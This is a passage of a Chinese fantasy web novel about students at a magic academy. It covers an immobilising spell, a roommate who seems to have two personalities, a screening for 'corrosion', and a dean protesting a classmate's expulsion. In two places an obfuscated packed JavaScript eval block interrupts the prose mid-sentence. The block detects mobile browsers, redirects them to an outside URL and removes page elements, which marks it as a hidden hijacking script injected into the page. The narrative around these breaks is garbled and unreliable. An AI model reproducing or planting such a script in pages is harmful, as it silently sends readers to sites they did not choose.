经过两天相处,学生之间初步认识,哪怕不知道名字也已经混了眼熟,公共课上不再像一开始那样随便乱坐,会优先和同院学生挨在一起。 右边这四个咒院学生就是这样,但和其他院系不同的是,他们每人之间都隔着一个空位,虽然坐在一起,但显然不打算和同学交流,都在忙着跟自己的咒书培养感情。 咒书封面是黑色的小牛皮。 据说,当一个咒院新生把他的咒书封皮盘到包浆,他就可以顺利通过学期考核,如果封皮出现细腻均匀有光泽的风化纹,那他差不多就可以毕业了。 新生咒书由院里统一提供,往年都是空白的,但现在情况特殊,咒院老师给每个学生书里都写了一页防护咒,用来应急。 学生不用搞懂咒术原理,也不用念得特别标准,基本上只要有嘴就行。 院里要求学生书不离身,吃饭睡觉就不说了,有些人甚至准备了防水套,洗澡也要带书一起。 带着这么一个明显的标签,咒院在所有新生里总是最好认的,其次就是驯院。 如果学生平地站成一堆,齐刷刷的一片小脑袋里忽然凸起几颗,明显比别人更高更壮,那这几颗脑袋必定属于驯院。 除了脑袋还有胳膊,驯院学生祖传爱卷袖子,冬天特别明显,雪地里漏胳膊的学生十个有九个都是驯院。 在林栖前面一排坐了三个咒院两个驯院,驯院是后来的,看见有位置就直接坐了,和咒院之间没留空位。 到了第一节课下课,两边突然就吵了起来,驯院新生开腔时,林栖正在思考“多重人格”,听到那一声带着胸腔共鸣的大笑,思绪忽然就断成了两截。 他不知道驯院新生在嘲笑咒院新生什么,只听到一个咒院新生反击:“你就笑吧,等我学了定身咒,让你站在厕所门口,三天不能动弹。” “哦,好可怕,可是我们现在就能把你揍得三天不能动弹。” 驯院学生说话时晃了一下胳膊,一颗拳头比咒院学生脑袋还大半圈。 咒院学生把嘴唇咬出一道白痕,只说了一句:“反正你等着瞧吧。”接着起身换了座位,从最右边挪到了最左边。 林栖默默收回视线,心里忽然有什么晃了一下,默念起刚听到的那个名词:定身咒。 听起来,这个咒可以让人不能动弹。 所以,昨天让他不能动的,也是定身咒吗? ……或者其他什么类似的咒。 林栖只在咒院考试里交过一张白卷,对咒术一窍不通,只是凭感觉猜测,类似这种控制别人身体的咒术或许还有很多。 而且昨天祈越也提到了“保护咒”。 祈越懂咒术,可能对他使用过定身咒……所以祈越是个咒师? 后面的一节课,林栖一个字也没听进去,在脑子里同时梳理着几条线,把自己绕得有点晕,甚至有些犯困。 终于到了下课时间,铃声一响,驯院学生仿佛肌肉里面装了弹簧,从位子上弹跳起来,领头冲出门去,边跑还边嚷嚷—— “吃饭吃饭!” “饿死了!” “躲开躲开!别碍事!” “谁先到的帮我抢个鸡腿!” 其他院系一边起身往外走,一边还要躲着驯院这群饿死鬼,只有咒院与众不同,一个个都把自己粘在椅子上,纹丝不动。 现在人多,他们不想挤,而且反正也抢不到第一轮,还不如干脆晚点再去。 一片吵闹中,前后左右的咒院新生都在“入定”,林栖也在原地坐着没动。 他想找他们问点问题。 几分钟里,教室空了三分之二,咒院这边终于开始动了,坐在最外侧的学生合上咒书,拂灰似的抹了两下封皮,沉默起身,像水鸟涉水一样,缓步朝门外走去。 在他走出一米之后,第二个学生也站了起来。第三个学生面朝书页,仿佛埋头苦读,眼神却在不停往右边瞟,反复估算着最合适的起身时机。 林栖觉得,他们好像一串钓鱼用的浮漂,在收线的时候,一个接着一个,等距离地冒出水面。 挺有趣的。 很快,前后几串浮漂收完,只剩后排最左边的一个学生坐着没动,他和别人不一样,目光不是淡淡浮在书页表面,而是牢牢钉进纸里。 看起来格外认真好学。 林栖悄声绕到后排,跟他隔着四个位置坐下,在旁边默默等着。 曾大运完全没发现自己被盯上了。 其实他也没发现教室里人走完了,或者说,连吱哇乱叫的下课铃,在他耳朵里也只是一声蝉鸣。 没办法,漫画实在太好看了。 黑沉沉的咒书里面夹着一本特制漫画,为了方便夹带,图缩得非常小,每一张都等于正常尺寸十二页的内容,两三张纸就能凑出一话。 以他这个位置和拿书的姿势,别人绝对发现不了他在干嘛。 而且,他们咒院院徽是月下孤狼,老师们秉承传统,一向崇尚独善其身,他的各位同学都在忙着凹人设,力图真的把自己凹成一头孤独帅气的狼,根本就没功夫管他这些。 一页看完,曾大运把咒书往上一抬,轻轻吹一口气翻页,然后惊恐地发现,这居然就是最后一页! 下一话还要再等一周。 巨大的无力感从心底升起,他忽然就体会到了一股来自灵魂深处的孤独与寂寥。 月下孤狼就是他本人吧?还要一周,他才能等到他的月亮…… 这时肚子狠狠叫了一声,曾大运想起餐厅里的炸鸡腿,忽然就不寂寥了,抬头一看,这才发现人都走没影了。 哦不对,还有个影儿。 曾大运一眼就认出了林栖。 然后,刚打算站直的腿往下一弯,又坐下了。 如果他现在起来,就要从林栖腿上挤过去,两排座椅挨得太近,那个姿势想想也不太优美,不符合他们咒院的淡定从容。 而且林栖太有名了,整天被人议论,不符合他们咒院的交友标准,现在教室里就剩俩人,万一他走林栖也走,他们被迫同路可怎么办? 权衡利弊之后,曾大运打算再熬一会儿,等林栖先走。 不行就把漫画再看一遍。 可惜不等他重新打开咒书,林栖就朝他看了过来,他才刚进咒院两天,人设还不太熟练,视线一下没躲开,就这么跟对方撞上了。 现在怎么办?假装没看见?好像不太行吧,这都不是淡定从容了,是没礼貌。 他们咒院要独善其身,首先做好自己,不能随波逐流,但也不能傲慢冷漠。 如果遇到有人求助不帮,被老师知道了,会用咒术整你。 淡定从容不冷漠……这个人设细节真的很难把握啊…… 正想着,一道清澈软糯的男孩儿嗓音从旁边传来,“你好,打扰了,可以问个问题吗?” 在他思考的时候,林栖已经走了过来,跟他只隔着一个空位。 顿时,曾大运整个人都僵硬了,心里紧张,连带着汗毛孔都紧绷起来,瘦削苍白的脸上没有一丝表情,眼睛乌黑暗沉,几乎没有高光。 他仰着下巴,细窄的眼尾向下压着,沉默看向林栖 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咒术是不长脑子的,它只会按你说的来,比如“让这个人不能动”,那谁知道不能动的边界在哪里呢?只是手脚不能动?还是身体不能动?或者全部不能动?心脏、肺脏、血管、大脑,全部都不动弹,那只要几分钟,人不就嗝屁了吗? 曾大运意识到自己表现不够沉稳,瞬间收回视线,高冷地点了下头,大脑飞速运转,把这些叽里咕噜的话翻译成咒院版本,淡定从容地跟林栖说了一遍。 林栖点点头,认真看着他道:“听起来确实很危险,怪不得要限制。” “还有更危险的,禁咒,没有名字,只有编号。”曾大运被他这么看着,忍不住就想多展现一下自己的丰富学识,“当然这个你不需要了解,顾名思义,禁咒是严格被禁止的。限制咒的使用条件是通过考核,比如定身咒,就要通过中级考核之后才能使用。” 林栖再点点头,“我看到你们都拿着一本书,是施咒用的吗?” 曾大运默默用手肘压住自己那本夹心咒书,维持着高冷道:“是的。” “那如果没有书呢?也能施咒吗?” 可以啊,等我们毕业就差不多了,咒院老师平时都不拿书,厉害的学生也不用拿,当然还有那些假装自己很厉害的学生…… 曾大运在心里咕哝一串,只回了两个字:“可以。” “那不念咒呢?”林栖的问题听起来有点幼稚。 “你是想问无声咒?这是咒院毕业生的留校条件之一。” “无声咒的定义是不出声吗?” “对,可以理解成默念。” “默念……那就是还要念吗?” “当然。” “那不默念呢?” 曾大运没理解,又怕林栖看出他没理解,于是抱紧手臂,无比高冷地“嗯?”了一声。 “嗯?”完之后又觉得自己尾音上扬的弧度似乎有些傲慢。 真的很难把握…… 林栖解释道:“施咒的时候,嘴巴完全不动,这是哪种?” “你的意思是,只用媒介书?” “也没有书。” “那用咒纸?” “咒纸要默念吗?” “当然。” “那也没有咒纸。” “?” 林栖仔细回想着昨晚的情形,脸上写满很认真的疑惑,“不能凭空施咒吗?” 曾大运明白了,这人就是来找茬砸场子的,淡定从容的人设立刻有些维持不住,“不能,不可能,你听谁说的?就算我们院长来了,也不可能凭空施咒,这是常识,哪怕祖师爷从棺材里爬出来也不行。” 说完之后,曾大运立刻有点后悔,首先话太密,不淡定,其次对祖师爷也不太恭敬,他都怕自己做梦梦到祖师爷揭棺而起,一脸高冷地跟他说:你在说什么鬼话? 好在肚子很及时地叫了一声,他立刻起身,趁着林栖没发现他人设崩塌,迈开步子,淡定从容地走了。 “再见,谢谢你。”林栖在后面说道。 “不用。”曾大运头也不回,只留下一道冰山似的背影。 林栖左右看看,更茫然了。 不能凭空施咒……那祈越昨天是怎么让他不能动的? 29. 第 29 章 中午,凌壑在公寓楼下等着,见林栖过来,神神秘秘地从身上摸出一只千纸鹤。 林栖认得这个。 第一天来的时候,他见观沄用它包过怪物饺子。 “这是妈妈特意让我带给你的,拿着,收好。”凌壑朝林栖眨了下眼。 林栖接了千纸鹤,头顶冒出一颗问号。 凌壑伸手往他头顶一敲,“如果有怪物,就用这个砸它。没怪物也不浪费,打开写信,然后叠起来,再放出去,它会自己去找观沄。” 林栖眼神明显亮了亮,把千纸鹤小心收好。 凌壑左右看看,眉梢一挑,“你那个小跟班呢?” 林栖上楼找人,一开门就看到祈越坐在桌边看书。 他站在门前顿了顿,迟疑开口,“去吃饭吗?” 祈越没抬头,只是淡淡“嗯”了一声,放下书,走了过来。 林栖脑子里“叮”的一声,第一反应就是:换回来了。 这是平时那个祈越,不是昨天那个祈越。 结果到了吃饭的时候,他又不确定了,凌壑呱呱讲着外面的情况,而祈越全程一言不发,哪怕凌壑故意惹他,也只是冷淡地“嗯”一声,或者回一句“有道理”“很对”。 几次之后,凌壑觉得没意思,不再逗他,继续跟林栖说,这次的怪物似乎对人不感兴趣,单纯是来搞破坏的。受伤的人没几个是真被怪物咬了,绝大部分都是吓的,满医院都是忙着逃跑扭伤脚的。 不过怪物出在闹市区,波及很广,现在外面都在抢购净化用品,尤其上城区,哪怕只是看了怪物一眼,都恨不得把自己泡在圣水里,腌得神光普照。 林栖问:“不受伤也会被侵蚀吗?” “对,是不是很——”凌壑顿了一下,明显是临时换了措辞,“不讲理?说侵蚀就侵蚀,所以怪物只会越来越多,要我说,干脆拆了学城,所有人都变成怪物算了,大不了你先吃我,我再吃你,省得整天提心吊胆。” 林栖心道,你刚刚是不是想说很不要脸? 接着想,不受伤也会被侵蚀,那如果他接触怪物,被侵蚀了会怎么样?身上也会长鳞片吗? 直觉不能。 他总觉得,每次受伤之后,红线其实不是给他治疗,而是把他恢复原状。 但是被侵蚀就会长鳞片,红线又有强迫症,非要保持原状…… 所以鳞片会被红线拔掉? 林栖想到了打地鼠的游戏,忍不住脑补,自己身上钻出鳞片,然后一冒头就被红线薅走…… 他低头扒了口饭,脸上表情有点复杂。 午休时间两小时,吃完饭,凌壑把他送到楼下,迈着长腿走了。 回到701,房门一关,林栖和祈越瞬间回到大眼瞪小眼的状态。 气氛顿时有点微妙。 林栖默默转身,脱下外衣挂好,又去洗了个手,顺着日常动线,打开衣柜拨了几下挂钩,把放在床头的书拿到书架摆好…… 祈越站在桌边,缓缓抬眸扫他一眼,“想问就问,别憋着。” 林栖心里像有小锤敲着,发出“叮”的一声,捏了捏手指,眼神左右飘了飘又回到祈越脸上,见他目光平静,不躲不闪,终于做好心理准备,轻吸一口气,从众多问题里选了个最委婉的。 “昨天……你为什么要问我那些问题?” “你确定是我问的?”祈越几乎立刻反问。 林栖:“……” 虽然直入主题也很好,但我都先委婉了,你就不能也委婉一下吗? 林栖表情僵了一瞬,又道:“昨天那个不是你吗?” 祈越唇角微微一撇,一脸“你在说什么废话”的表情,“不然呢?你只会看脸认人?” 这个说话带刺的语气,确实是祈越没错。 空气静了片刻,林栖缓缓问出四个字:“多重人格?” 祈越似乎无语,唇角动了动,“请问,我是人吗?” 林栖严谨纠正,“多重物格。” 祈越:“……” 短暂的沉默如有实质,空气中肉眼可见一串省略号,横在两人中间。 林栖眨了下眼,那该怎么说? 静了两三秒钟,祈越抱起手臂,视线移向窗外,看了看空气,又回到林栖身上,“昨天那个跟你说了什么?” “你不知道?”林栖有点意外。 “知道我还问你?”祈越整个人身上笼着一层烦躁,像一只下雨天的猫,在跟整个世界炸毛。 “那……”林栖的思考顿了顿,心里冒出一点很微妙的情绪,在“你又没早说”和“凶什么凶”之间左右横跳。 跟昨天那位“祈越”比起来,他和眼前这个祈越显然更熟。今天见到是他,本来是有点小开心的,结果今天这个比昨天那个更凶。 于是,林栖的问题从“那你怎么知道”变成了:“那好吧。” 忽然就不想理他了。 气氛顿时僵住。 两人隔空对峙,视线相对却又错开一点距离,互相不看对方。 僵持中,祈越极轻地皱了下眉,视线落下又抬起,绕了一个圈子看向林栖。 “我有那么闲吗?”片刻,祈越开口,语气还是带刺,但声音明显轻了许多,于是尖锐的刺就变成了毛茸茸的刺,扎得人有些发痒,“明知道的问题还要再问一遍,既是浪费你的时间,也是浪费我的时间。” 林栖眼尾弧度稍稍向上一抬,目光转动一点角度,看向祈越,“那你重新问。” 祈越看着他,似乎没听懂。 “重新问。”林栖低头看手,“好好说话。” “怎么才算好好说话?”祈越扯了一下唇角,向后靠住桌子。 “像这样——请问他都跟你说了什么?”林栖亲身示范,同时不适应地眨了一下眼睛,“问别人问题的时候,首先要有礼貌。” 空气安静,林栖没看祈越,却莫名觉得眼前有一只野生动物正磨着犬齿,下一秒就要起来咬人。 然后,他就听到祈越开口,语速明显比平时更慢,吐字更沉,带着一种咬牙切齿般的礼貌:“请问他都跟你说了什么?可以麻烦告诉我吗?” 效果和脑补的不太一样,林栖觉得自己好像被“礼貌”攻击到了,下意识地站直了些,同时又有点想笑,于是刻意抿了一下唇角,维持住面无表情的淡定,道:“好。” 他把昨晚的聊天内容挑重点说了,祈越沉默听完,静了许久才又开口:“知道了。” 林栖怔了怔,祈越说这句话的语气和昨天几乎一模一样。 所以现在说话的这个是谁? 他直直盯着对面,对面似乎感觉到了,视线斜扫过来,冷淡道:“看什么?” 随即皱了下眉,又改换语气:“谢谢你告诉我。” 哦,没换人。 不过林栖分不清楚,祈越这句话是在故意“礼貌”他,还是在认真道谢。 祈越似乎想说什么,却又不耐烦地皱起眉头,像是在跟什么生气。 片刻,他道:“你说你当时完全不能动?” 林栖点头。 “你懂咒术吗?”祈越语气堪称礼貌,脸上的表情却类似于“我为什么要问这种明知道答案的废话”,自己对自己都很不耐烦。 “听说过限制咒,和禁咒。” “你还知道禁咒?”祈越眼中一瞬间的意外像是看到一只狐狸在天上扑扇翅膀,随即,他皱了下眉,“你中的那个叫作定身咒,也是一种限制咒。” 林栖点点头,“听说很危险,有可能会死人?” 之前他也以为是定身咒,但咒院学生说不可能凭空施咒,所以他现在也不太确定…… 祈越意味不明地抬了抬唇角,“如果是我用的话,你肯定死不了,别人就不一定了。” “确定是定身咒吗?” 男孩儿说话时微微歪着脑袋,漆黑澄澈的眼中透着很委婉的怀疑,像怕一不小心伤了谁的自尊。 嘲讽效果很好。 祈越眯了一下眼睛。 看不起谁? “不然呢?”他开口,“你也可以叫它‘陆平川咒’,以首创它的咒师名字命名,首次使用于两百九十六年前。” 而且。祈越在心里补充:不好意思,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643467|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位陆平川刚好是我祖父。 如果连这个咒也搞错,我还不如把自己折吧折吧当柴烧了。 随即,他皱了下眉,觉得自己废话很多,而且有点幼稚。 林栖看着祈越,睫影下眸光微亮,透出很明显的探索欲。 “那……” 他有很多问题想问,但就在这时,一串急促脚步声后紧接着响起“咚咚咚”的敲门声。 “林栖——在吗?”生活老师的声音从外面传来。 林栖瞬间恢复面无表情,下意识朝祈越看了一眼,刚好祈越也在看他。 他莫名懂了他要说什么。 片刻,林栖过去开门。 生活老师不是自己来的,旁边还带了一个扁着嘴的沐夏。 气氛紧张,一看就不是好事。 生活老师一刻也不耽误,朝林栖招招手道:“跟我过来,今天要多做一次筛查。” 林栖跟着出去,正要回手关门,却见祈越站在自己身后,似乎打算跟着一起。 “走走,快点。”生活老师一催,林栖来不及意外,后退一步,让开位置,祈越扫他一眼,一步迈出,顺手关了房门。 生活老师不多解释,只是风风火火在前面带路,祈越像往常一样,保持一米距离,生人勿近地跟在后面,中间的位置留给林栖和沐夏。 沐夏主动靠近一些,推了推眼镜,低声对林栖道:“今天刚发现了几个侵蚀,都是新生,也有咱们院的,所以……” 林栖懂了。 沐夏叹了口气,继续道:“第一个就是乐贤,我们都没想到,校医检查过,我们也帮他看过,没有伤口,真的没有伤口……你也知道吧?当时你们就在一起。” 林栖像是跟不上他说话的节奏,迟缓地摇了摇头。 心里想的是那天在校史馆的情形和凌壑说过的话,没有伤口也会出现侵蚀。 众所周知,“干净”是这里筛选学生的首要条件。 他早就听人说过,新生还没正式开始学习,如果现在受到侵蚀,很可能被直接退学,换上之前没考上的学生替补。 但他没想到,这件事会这么快就落下来,而且落到他认识的人身上。 沐夏一脸沮丧,“谁也没想到会这样,所以我们昨天才会来给你送蛋糕,绝对不是故意的。” 林栖明白了,因为他、沐夏、乐贤,三个人昨天在一个屋里待过,还分了蛋糕,所以今天乐贤查出侵蚀,他们两个才会被单独带去检查。 林栖不知道该以什么表情应对,只平静道:“我知道你们不是故意的。” 沐夏把嘴唇抿成波浪线,点了点头,然后短暂沉默下去,直到走出公寓楼,周围空间不再封闭,说话声也不显得那么突兀,才又道:“我们都很担心乐贤,真的太倒霉了,怎么会那么巧……而且他和我们不一样,如果被赶走了,根本没地方去。” 为什么这样说? 林栖看着他,等他继续解释,但沐夏欲言又止,支吾片刻,“先等等看吧,说不定没事呢,你说对吧?只是一点侵蚀,又是刚发现,祈院完全可以净化。” 林栖不知道说什么,只是配合地点了点头。 生活老师把他们带到祈院侧门,刚进去,就听见祝祷声远远传来,像海浪温柔轻抚沙滩,语调中有种安抚人心的力量,带着阳光般的暖意。 在祝祷声中,他们绕过走廊,来到一间小礼堂外。 小礼堂有四个出口,从他们的角度,能看到另外几名造院新生正从别的出口离开。 人影中有一块很明显的橘黄色,一个头顶橘色卷发的男孩儿频频回头张望,忽然停下脚步,用力朝他们挥了挥手。 这边沐夏看见他,也挥了挥手,从脖子上拎起一枚红线栓的吊坠,远远地晃了晃。 生活老师道:“今天是祈院教授帮你们检查,如果没事,也会多做一次净化。沐夏先进去吧。”她说着,看向林栖,“你把绷带打开,我先检查一下伤口。” 说这话的同时,她微笑着往后撤了撤身,防备的态度异常明显,仿佛绷带打开之后,伤口会像火山喷发一样,噗呲噗呲往外冒毒。 30. 第 30 章 绷带拆开时,祈越站在林栖后面,侧目朝他看了一眼。 伤口的位置和昨天完全一致,几道擦伤的走势和角度也毫无区别,只是伤口愈合收缩,前后短了一些,结痂颜色也变得更深。淤青则从皮肤底部蔓延到了表层,较之前颜色更重,范围也大了一圈。 要不是清楚真相,连祈越都差点信了。 伪造一个伤口不难,但要伪造整个愈合过程则是另一码事,需要极强的观察力、记忆力和细节把控力。 这家伙显然是个惯犯。 片刻,生活老师查看完毕,自然是没找到任何侵蚀迹象,惯犯把绷带松松绕了几圈,转头看他,整个人安静乖巧,眼睛乌黑澄澈,浮着一层水光,像只雪白的动物幼崽,看起来格外柔软无害。 装得真像。 林栖和祈越对上视线,唇边一抹乖巧弧度顿时一僵,又默默转回头,跟着老师去做检查。 祈院做检查类似于紫外光看猫藓,礼堂四角各有一个隔间,像是中空立柱,内部纯白,没有任何装饰,只从顶部落下一道金色光雾。 人浸在光雾里,只要身上有任何一点侵蚀迹象,都会使接触到的光雾变红。 受试学生进去之后,祈院老师会在旁边观察,待学生离开,还会对光雾进行一次检测,哪怕只有一颗雾气微粒变红,他们也不会放过。 沐夏比林栖先进去,也先出来,特意在门口等着,见他没事,激动得连鼻子都有点发红,“幸好幸好,不然我真的……真的对不起你,也对不起院长。” 林栖见他激动起来似乎想拉自己的手,及时往后退了一步,僵着表情“嗯”了一声。 接下去,他们又做了两个小时净化,先是听祈院教授带着高年级学生唱诵,又被要求跟唱,别人念一句,他们学一句。不能说很累,但结束时,林栖整个人都是懵的,脑子里一片金灿灿的,圣光普照,完全无法思考。 林栖出来时,远远看到祈越坐在回廊下,闭眼靠着一根石柱,眉心向内蹙着一点,似乎连睡觉都睡得很不耐烦。 林栖一边朝他走,一边观察。 在心里默默打了个勾。 还是他,没换人。 本来下午还有一节课,但生活老师没叫两人去上,直接安排他们回了公寓。 林栖一直没机会跟祈越单独说话,好不容易回到屋里,关上房门,他刚想酝酿一下开口,就又听到沐夏在外面叫他。 “怎么办?乐贤没回来,行李也被拿走了。”沐夏一脸着急,边说边在前面带路,示意林栖跟他去看。 林栖跟过去,果然看到706的房门半敞,里面除了固定家具之外几乎不剩什么,衣柜大开,挂钩全部空着,看不到行李箱,床单被褥都剥掉了,只剩一张床垫。 另外还有一只没带走的卡通水杯倒在桌上,抽屉敞着,圆形把手上挂着一只白色塑料袋,底部破了,掉出几包花花绿绿的零食。 其中有一包小熊饼干爆了袋,撒了满地的“微笑小熊”,又被人不在意地踩过,碎成粉的小熊脸上还能看出脚印形状。 沐夏推门进去,绕开地上那些小熊,把剩下的几包零食捡起来放好,左右看看,似乎想扫一下地,给可怜的微笑小熊“收个尸”,但没见到工具。 他茫然站了片刻,出来对林栖道:“我想去院里问问情况。” 林栖“嗯”了一声。 705和706刚好对着,沐夏转身关了自己房门,又跟林栖一起往前走了一段,到了701,林栖开门时,他问:“你也去吗?” 林栖还在想着那些被踩碎的小熊饼干,脑子来不及思考,但身体已经擅作主张,朝沐夏点了点头。 他其实有点犹豫,但又没有时间犹豫。 他看向祈越,什么都还没说,祈越就像下午一样,起身跟了过来。 林栖眨了下眼。 他不是这个意思…… 但是,好吧。 也可以是这个意思…… “对了。”沐夏用他略显短粗的手指挠了挠头,一双不太大的眼睛巴巴望着林栖,顿时更像一只水獭,“那个……我想跟你解释一下。” 他们正在下楼梯,说话声带着一点回响,“你应该也觉得不对了,既然我们……我们昨天给大家都送了蛋糕,那为什么今天不是全班一起做检查呢?只有我们两个单拎出来。” 林栖看着他,配合地点了点头,但实际上,他根本没想过这个问题,也没发现哪里不对。这两天需要他思考的问题实在太多了,完全顾不上怀疑别人的好意背后是不是别有用心。 沐夏“哎”了一声,“实话是,根本不是一人一块,蛋糕就是特意买了送给你的。” 林栖脚步慢了一拍,眼中浮起一颗略显茫然的问号。 沐夏挠头,“我想着,怪物那么可怕,要不是你帮乐贤,他肯定伤得不轻。你帮他,他肯定是感激你的,我也觉得他该好好谢谢你,但他完全不懂这些,也不会表达,所以我就想着,得替他想个办法谢谢你。不然万一你觉得他是白眼狼呢?大家才刚认识,万一有误会就不好了。” “所以我就跟他们商量了,主意是姜宝宝出的,你知道他吧?头发橘黄色的那个。我们当时就问乐贤,一起去请林栖吃蛋糕好不好?他说好,是真的想请你吃东西,蛋糕也是他买的。后面那些你就知道了,我们给你送蛋糕,说人人有份,其实根本不是。” “这也是姜宝宝的主意,他说单独送个蛋糕给你太隆重了,多尴尬,最好就是心意到了,又没负担。” 说话间出了公寓,沐夏又叹口气,“总之就是这样,你还有什么想知道的都可以问。” 林栖静了片刻,问道:“之前你说,乐贤没地方去?” “这个你不问我也打算跟你说的。”沐夏一脸担心,“你听说过上城孤儿’吗?乐贤就是。” 林栖摇头,但“孤儿”两个字已经足够让人产生联想。 沐夏跟他解释,“上城孤儿”是在上城区福利院长大的孩子,但不是一般意义上的孤儿,而是特指一种情况——父母家人为了让孩子留在上城区而故意将其遗弃。 林栖没听懂,沐夏耐心跟他解释:“比如一对家长带着一个孩子,生活在上城区,但突然有一天,不知道为什么,家长两个人都被侵蚀了,鉴定结果出来,达到一级,符合驱逐标准,那么他们就不能生活在上城区了,对吧?得搬家,去中城区,于是问题就来了,孩子还是干净的啊,是你你会怎么选?” 林栖摇头,表情有些茫然。 “当然是把孩子留在上城,如果运气好,长到十二岁都没事,还能被白塔选中,过来上学,如果运气再好一点,一辈子都能留在上城也不一定。” 林栖眼睛微微睁大,看着沐夏,“所以家长就把孩子送到福利院了?” “对啊,上城区福利院的孩子,至少有一半都是这种情况。”沐夏很高兴自己给林栖解释懂了,“很容易理解吧?” 不,林栖完全无法理解。 “乐贤从小就住福利院,但福利院的标准是比整个城区更严格的,就跟这里一样,也是要求绝对干净。所以如果学校不要乐贤,他也没地方去。” “那他能去找父母吗?”林栖问。 “不能啊。”沐夏摇头,“家长把孩子送福利院,就是想让他们留在上城,怕他们长大来找,肯定是要彻底断联系的,根本就找不到,这也很好理解吧?” 沐夏轻飘飘地说着这些话,仿佛都是理所当然,林栖却有一种在听恐怖故事的感觉,背后隐隐有些发冷。 他没说话,沐夏以为他懂了,于是继续说:“乐贤其实很有造物天赋,我打听过,他笔试和实操都考得很好。想不到吧?我也没想到他笔试能拿满分。乐贤记忆力其实非常好,那些基础理论只要看过他就会背,虽然我跟他聊过,觉得他其实没理解,但也很厉害了。” “实操就真的是靠天赋了,我听说他其实看不懂图纸,当时院长亲自监考,就直接把成品图给他看了,你也考过,应该能懂吧?他只看成品图,就用一堆材料把它拼出来了。” 这个林栖能懂,相当于只看完成图就拼出了一千片的乐高。 “我听说你当时是没做完?你是手工特别细的那种吧?我做东西就有点糙……” 说话间已经到了造院门口,还没进门,刚好撞上许慎行从里面出来,夕阳下,脸色黑得掉渣。 沐夏没反应过来,“啊”了一声。 林栖叫道:“许院长好。” 许慎行已经风风火火走出两米,听到声音又刹住脚步,没好气道:“你们在这儿干嘛?天都黑了,还瞎溜达,没事就回自己屋里好好呆着。” “不是的院长,我们来问乐贤情况。”沐夏解释。 “我还想问呢!”许慎行简直气得冒烟,乐贤是他选进来的学生,结果校方没经过他同意,直接就把人给扣了。 “行了行了,你们回去吧,注意点儿安全,我这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643468|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去要人的,忙着呢,没工夫管你们。”许慎行说完要走,沐夏忙道,“我们也想一起去,能……能不能联名请愿?我们可以签名。” “请愿有个屁用。”许慎行话不好听,但态度明显缓和,眼神中还隐隐透出欣慰,“行吧,来,跟上,省得你们几个到处乱跑。” 十分钟后,行政区一号楼,顶楼,校长室门外。 许慎行一手挡开上前说话的工作人员,直接推门进屋,“我学生呢?你们把我学生藏哪儿去了?” 说着,他声音一顿,“你们两个在这干嘛?” 办公桌左右各站了一个人,傅明熙和安薇,都是今年的造院新生。 两人还没答话,校长蒋星落就在办公桌后开口,“许院长,晚上好,进来之前好歹敲个门吧?也给学生做个表率。” “我都快没学生了,还表个屁的率?”许慎行冷眼扫了一圈,回头示意林栖他们一起进来,然后关了房门。 空气一时安静,林栖默默打量对面。 现任校长蒋星落今年三十出头,坐在沉肃庄严的办公桌后,中等身材撑着一身考究的白色西装,胸前别徽章,挎绶带,很有校长威仪。 但细看之下,这人长相毫无特色,五官清楚却面目模糊,像个批量生产的服装人台,只为撑起一身行头,如果脱了衣服走出这间屋子,大概没人能看出他是校长。 蒋星落一脸和煦,“许院长这是带学生来参观校长室呢?” “反正已经有两个来参观了,不差再加两个。”许慎行往旁边一瞥,抱起手臂,“我学生呢?” 蒋星落悲悯地皱了皱眉,叹道:“你的心情我能理解,但你也知道,这不是造物学院一家的事,也不是只有你的学生不幸出了状况。” “其他院系怎么样我不管,我自己的学生,无论如何都要带走。” 蒋星落双手于桌面交叠,“出事以后,我们已经第一时间安排做了净化,但还是没能阻止侵蚀,这说明有些孩子对侵蚀敏感而对净化不敏感,就算再给他们一次机会,现在净化干净了,以后也还是容易再出状况。学城资源有限,我们为什么不把机会留给资质更好的学生呢?” 他目光平视前方,声音略沉,“许院长,外面已经全是怪物了,我们必须守住学城这片净土。” 许慎行冷笑一声,“这次学校里突然出现怪物,到底是谁的责任?巡逻队足足十分钟才到现场,应急预案又在哪里?” “我身为校长,当然难辞其咎,而我现在做出这个决定,就是在为这次事故负责。”蒋星落语气平和,目光沉静。 “你负责?但是你不走,让别人走?” “许院长,你看过这些年的侵蚀数据吗?除了上城区之外,几个区域每年都在快速增长,我们每天都在把人往外赶。这不是在针对谁,不针对造院,也不针对你。这是整个学城共同的责任和义务,也是所有生活在这里的人们共同的牺牲和妥协,难道别人都能走,只有你的学生不能走吗?” “这你就说对了。”许慎行毫不客气,“我的学生就是不能走。” 蒋星落好脾气地笑笑,“我们都是为了学校好,只是理念不同,但这不是你们一个学院的事情,也不是仅仅留下一个学生而已,后续还有很多工作要做,也要和祈院那边沟通,这次事故波及很广,现在人手根本就不够用,许院长就算再着急,也不可能自己做净化吧?” 许慎行没说话,咬着后槽牙,脸色难看得像是随时都会尸变。 蒋星落目光依次扫过几个学生,“你们都是今年刚入学的新生,我想知道,你们对这件事有什么想法?” 许慎行眉头一拧,“你又想说什么?” “想多听一些不同意见,我觉得,许院长也应该听听学生到底是怎么想的,毕竟这也是他们要面对的困境。”蒋星落从他脸上移开目光,扫过几人,落在沐夏身上。 “你们的同学,乐贤,在没受伤的情况下出现了侵蚀症状,学校可以继续帮他净化,但不能保证效果,我想知道,如果以后他又出现更严重的侵蚀症状,你们还愿意跟他做同学吗?” 